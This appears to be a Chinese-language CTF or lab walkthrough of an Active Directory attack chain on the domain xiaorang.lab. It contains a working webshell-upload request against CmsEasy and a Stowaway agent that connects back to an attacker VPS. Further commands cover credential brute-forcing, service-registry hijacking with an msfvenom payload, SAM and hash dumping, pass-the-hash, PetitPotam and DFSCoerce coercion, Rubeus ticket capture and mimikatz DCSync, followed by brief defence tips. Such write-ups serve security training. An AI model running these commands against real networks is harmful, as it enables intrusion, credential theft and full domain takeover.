域渗透-Delegation
字数 1881 2025-11-21 12:13:47
域渗透委派攻击实战教学文档
一、环境概述
- 目标网络:域
xiaorang.lab,包含域控(DC01)、文件服务器(FILESERVER)、成员服务器(WIN19)等。 - 攻击起点:外网Web服务器(39.101.135.175)存在CmsEasy漏洞,通过漏洞获取内网跳板机权限。
- 代理工具:Stowaway(用于搭建内网代理通道)。
- 关键攻击路径:外网打点 → 内网横向移动 → 非约束委派利用 → 域控权限获取。
二、外网打点
1. 信息收集
- 使用
fscan扫描外网IP,发现开放端口:21(FTP)、22(SSH)、80(HTTP)、3306(MySQL)。 - Web应用为CmsEasy v7.7.5,存在已知漏洞(CVE-2021-42643)。
2. 漏洞利用
- 漏洞原理:CmsEasy的模板管理功能存在任意文件写入,可上传Webshell。
- 利用步骤:
- 通过弱口令
admin:123456登录后台(/admin)。 - 发送POST请求写入Webshell:
POST /index.php?case=template&act=save&admin_dir=admin&site=default HTTP/1.1 Host: 39.101.135.175 Content-Type: application/x-www-form-urlencoded Content-Length: 121 sid=#data_d_.._d_.._d_.._d_shell.php&slen=693&scontent=<?php @eval($_POST[1]);?> - 使用蚁剑连接Webshell,获取跳板机(172.22.4.36)权限。
- 通过弱口令
3. 权限提升
- 查找SUID权限文件:
find / -perm -u=s -type f 2>/dev/null。 - 利用
diff命令读取flag:diff --line-format=%L /dev/null /home/flag/flag01.txt- 获取提示信息:用户名
rock(后续用于内网爆破)。
- 获取提示信息:用户名
三、内网代理搭建
1. 代理配置
- 攻击机(VPS):运行Stowaway服务端:
./admin -s 1234 -l 1234 - 跳板机:上传Stowaway客户端并连接:
./agent -c <VPS_IP>:1234 -s 1234 - 本地代理设置:
- 修改
/etc/proxychains4.conf,添加代理规则:socks5 <VPS_IP> 1234 - 使用Proxifier或
proxychains4代理工具流量。
- 修改
四、内网信息收集
1. 网络扫描
- 使用
fscan扫描内网段(172.22.4.0/24),发现关键主机:172.22.4.7:域控DC01(Windows Server 2016)。172.22.4.19:文件服务器FILESERVER。172.22.4.45:成员服务器WIN19(用户Adrian)。
2. 密码爆破
- 针对WIN19(172.22.4.45)的RDP/SMB服务爆破:
- Hydra爆破RDP:
proxychains4 hydra 172.22.4.45 rdp -l Adrian -P /usr/share/wordlists/rockyou.txt - CrackMapExec爆破SMB:
proxychains4 crackmapexec smb 172.22.4.45 -u Adrian -P rockyou.txt --local-auth - 结果:密码
babygirl1,但已过期需修改。
- Hydra爆破RDP:
3. 密码修改
- 使用
rdesktop连接WIN19的RDP,手动修改密码为Admin123.。
五、权限提升(WIN19)
1. 服务劫持
- 发现服务
gupdate以System权限运行,且普通用户可修改其注册表路径。 - 利用步骤:
- 生成恶意服务程序:
msfvenom -p windows/x64/exec cmd='reg save hklm\system C:\Users\Adrian\Desktop\system' -f exe-service -o sam.exe - 修改服务注册表路径:
reg add "HKLM\SYSTEM\CurrentControlSet\Services\gupdate" /v ImagePath /t REG_EXPAND_SZ /d "C:\Users\Adrian\Desktop\sam.exe" - 启动服务导出SAM/SYSTEM文件:
sc start gupdate
- 生成恶意服务程序:
2. 哈希提取
- 使用
impacket-secretsdump解析SAM文件:impacket-secretsdump LOCAL -sam sam -system system -security security- 获取本地Administrator哈希:
ba21c629d9fd56aff10c3e826323e6ab。 - 获取机器账户(WIN19$)哈希:
fec226afd3e779082bc1e7309363cb7c。
- 获取本地Administrator哈希:
3. 哈希传递
- 通过Psexec登录WIN19的Administrator:
proxychains4 impacket-psexec administrator@172.22.4.45 -hashes aad3b435b51404ee:ba21c629d9fd56aff10c3e826323e6ab
六、非约束委派攻击
1. BloodHound信息收集
- 使用机器账户哈希收集域内关系:
proxychains4 bloodhound-python -u win19$ --hashes aad3b435b51404ee:fec226afd3e779082bc1e7309363cb7c -d xiaorang.lab -dc dc01.xiaorang.lab -c all- 发现WIN19配置了非约束委派,可捕获域控的TGT票据。
2. 强制身份验证触发
- 方法1:DFSCoerce
proxychains4 python3 dfscoerce.py -u win19$ -hashes :fec226afd3e779082bc1e7309363cb7c -d xiaorang.lab win19 172.22.4.7 - 方法2:PetitPotam
proxychains4 python3 PetitPotam.py -u WIN19$ -hashes :fec226afd3e779082bc1e7309363cb7c -dc-ip 172.22.4.7 WIN19 172.22.4.7
3. 票据捕获与利用
- 在WIN19上使用Rubeus监控DC01的TGT:
Rubeus.exe monitor /interval:1 /targetuser:DC01$ - 获取Base64编码的TGT后,导入内存:
Rubeus.exe ptt /ticket:<BASE64_TICKET> - 或使用mimikatz导入:
kerberos::ptt dc.kirbi
4. 域控哈希提取
- 通过DCSync攻击获取域管理员哈希:
mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:administrator"- 结果:
4889f6553239ace1f7c47fa2c619c252。
- 结果:
七、横向移动
- 使用域管理员哈希访问文件服务器(172.22.4.19):
proxychains4 impacket-wmiexec -hashes :4889f6553239ace1f7c47fa2c619c252 xiaorang.lab/Administrator@172.22.4.19 - 登录域控(172.22.4.7):
proxychains4 impacket-wmiexec -hashes :4889f6553239ace1f7c47fa2c619c252 administrator@172.22.4.7
八、防御建议
- 限制委派配置:避免使用非约束委派,改用约束委派或基于资源的约束委派。
- 服务权限管控:禁止普通用户修改高权限服务的注册表路径。
- 网络隔离:严格划分网络区域,限制内网服务的暴露面。
- 监控与检测:启用Kerberos日志审计,监控异常票据请求行为。
总结:本案例通过外网漏洞切入内网,利用服务权限提升、非约束委派和强制认证漏洞,最终实现域控权限获取。关键点在于委派配置的滥用和票据传递攻击。